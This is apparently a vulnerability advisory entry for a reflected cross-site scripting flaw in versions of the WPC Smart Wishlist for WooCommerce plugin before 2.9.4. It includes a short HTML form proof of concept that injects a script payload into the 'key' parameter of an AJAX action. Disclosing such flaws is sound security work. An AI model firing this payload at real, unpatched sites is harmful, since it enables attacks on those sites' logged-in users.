WordPress Plugin Vulnerabilities

WPC Smart Wishlist for WooCommerce < 2.9.4 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the key parameter before outputting it back in the wishlist_quickview AJAX action's response (available to any authenticated user), leading to a Reflected Cross-Site Scripting

Proof of Concept

<html>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=wishlist_quickview" method="POST">
        <input type="text" name="key" value='<script>alert(/XSS/);</script>'>
        <input type="submit" value="Send">
    </form>
</html>

The source and destination should use the https:// protocol for the exploit to work on Chrome.

Affects Plugins

Fixed in 2.9.4

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-03-01 (about 2 years ago)
Added
2022-03-01 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other